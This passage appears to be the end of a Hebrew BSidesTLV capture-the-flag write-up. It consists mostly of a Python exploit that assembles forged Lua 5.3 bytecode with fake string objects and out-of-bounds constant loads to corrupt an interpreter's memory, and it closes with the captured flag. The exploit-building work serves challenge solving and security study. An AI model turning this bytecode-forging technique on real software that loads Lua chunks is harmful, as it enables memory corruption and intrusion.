LUA_TTABLE         = 5

LUA_TFUNCTION      = 6

LUA_TUSERDATA      = 7

LUA_TTHREAD        = 8

 

LUA_TSHRSTR = LUA_TSTRING | (0 << 4)

LUA_TLNGSTR = LUA_TSTRING | (1 << 4)

 

LUA_TNUMFLT = LUA_TNUMBER | (0 << 4)

LUA_TNUMINT = LUA_TNUMBER | (1 << 4)

 

def assemble(asm):

    def Op(val):

        return val & 0x3f

    def A(val):

        assert(val < 0x100)

        return val << 6

    def B(val):

        assert(val < 0x200)

        return val << 14

    def C(val):

        assert(val < 0x200)

        return val << 23

    def Ax(val):

        assert(val < 0x4000000)

        return val << 6

    def Bx(val):

        assert(val < 0x40000)

        return val << 14

    def sBx(val):

        return Bx(val + 2**17)

 

    handlers = {

            'MOVE'    : (0, A, B),

            'LOADK'   : (1, A, Bx),

            'LOADKX'  : (2, A,),

            'LOADBOOL': (3, A, B, C),

            'LOADNIL' : (4, A, B),

            'GETUPVAL': (5, A, B),

 

            'GETTABUP': (6, A, B, C),

            'GETTABLE': (7, A, B, C),

 

            'SETTABUP': (8, A, B, C),

            'SETUPVAL': (9, A, B),

            'SETTABLE': (10, A, B, C),

 

            'NEWTABLE': (11, A, B, C),

 

            'SELF'    : (12, A, B, C),

 

            'ADD'     : (13, A, B, C),

            'SUB'     : (14, A, B, C),

            'MUL'     : (15, A, B, C),

            'MOD'     : (16, A, B, C),

            'POW'     : (17, A, B, C),

            'DIV'     : (18, A, B, C),

            'IDIV'    : (19, A, B, C),

            'BAND'    : (20, A, B, C),

            'BOR'     : (21, A, B, C),

            'BXOR'    : (22, A, B, C),

            'SHL'     : (23, A, B, C),

            'SHR'     : (24, A, B, C),

            'UNM'     : (25, A, B),

            'BNOT'    : (26, A, B),

            'NOT'     : (27, A, B),

            'LEN'     : (28, A, B),

 

            'CONCAT'  : (29, A, B, C),

 

            'JMP'     : (30, A, sBx),

            'EQ'      : (31, A, B, C),

            'LT'      : (32, A, B, C),

            'LE'      : (33, A, B, C),

 

            'TEST'    : (34, A, C),

            'TESTSET' : (35, A, B, C),

 

            'CALL'    : (36, A, B, C),

            'TAILCALL': (37, A, B, C),

            'RETURN'  : (38, A, B),

 

            'FORLOOP' : (39, A, sBx),

            'FORPREP' : (40, A, sBx),

 

            'TFORCALL': (41, A, C),

            'TFORLOOP': (42, A, sBx),

 

            'SETLIST' : (43, A, B, C),

 

            'CLOSURE' : (44, A, Bx),

 

            'VARARG'  : (45, A, B),

 

            'EXTRAARG': (46, Ax),

    }

 

    code = []

 

    for op, *args in asm:

        assert(op in handlers)

        opcode, *packers = handlers[op]

 

        assert(len(packers) == len(args))

 

        instr = Op(opcode)

        for i in range(len(packers)):

            instr |= packers[i](args[i])

 

        code.append(instr)

 

    return code

 

def dump_string(s):

    if len(s) == 0:

        return b'\x00'

    else:

        size = len(s) + 1

        if size < 0xff:

            return pack('=B', size) + s

        else:

            return pack('=BQ', 0xff, size) + s

 

def dump_code(asm):

    instrs = assemble(asm)

    codesize = pack('=I', len(instrs))

    code = b''.join(pack('=I', instr) for instr in instrs)

 

    return codesize + code

 

def dump_constants(constants):

    return pack('=I', len(constants)) + b''.join(constants)

 

def dump_upvalues():

    return pack('=I', 0)

 

def dump_protos():

    return pack('=I', 0)

 

def dump_debug():

    return pack('=III', 0, 0, 0)

 

def build_function(code, max_stacksize, constants):

    FunctionMetadata = Struct('=i i b b b')

 

    header = dump_string(b'@hax.lua') + FunctionMetadata.pack(0, 0, 0, 2, max_stacksize)

 

    code = dump_code(code)

    constants = dump_constants(constants)

    upvals = dump_upvalues()

    protos = dump_protos()

    debug = dump_debug()

 

    return header + code + constants + upvals + protos + debug

 

def build_chunk(asm, max_stacksize, constants):

    Header = Struct('=4s B B 6s B B B B B q d')

 

    header = Header.pack(b'\x1bLua', 83, 0, b'\x19\x93\r\n\x1a\n', 4, 8, 4, 8, 8, 0x5678, 370.5)

    upvals = pack('=B', 1)

    func = build_function(asm, max_stacksize, constants)

 

    return header + upvals + func

 

def pwn():

    MAX_STACKSIZE = 107

    ASM = [

        ('LOADK', 0, 104),

        ('LOADK', 1, 105),

        ('LOADK', 2, 106),

        ('RETURN', 0, 0)

    ]

    CONSTANTS = []

 

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)

 

    for i in range(100):

        CONSTANTS.append(content)

        #CONSTANTS.append(pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQ', 0x16, 0x42ceb1) * 25))          # CFI catches this

 

    chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)

 

    code = open('pwn.tpl.lua', 'r').read()

   

    chunk_str = hexlify(chunk).decode('ASCII')

 

    n = 3000

    chunk_str_splited = "\"\ntest = test .. \"".join([chunk_str[i:i+n] for i in range(0, len(chunk_str), n)])

 

    code = code.replace('CHUNK', chunk_str_splited)

 

    with open('pwn.lua', 'w') as f:

        f.write(code)

 

if __name__ == '__main__':

    pwn()

 

 

נריץ, ונקבל את הדגל!

BSidesTLV{KorokForest_HyruleCastle_ZeldaLink_Bowser}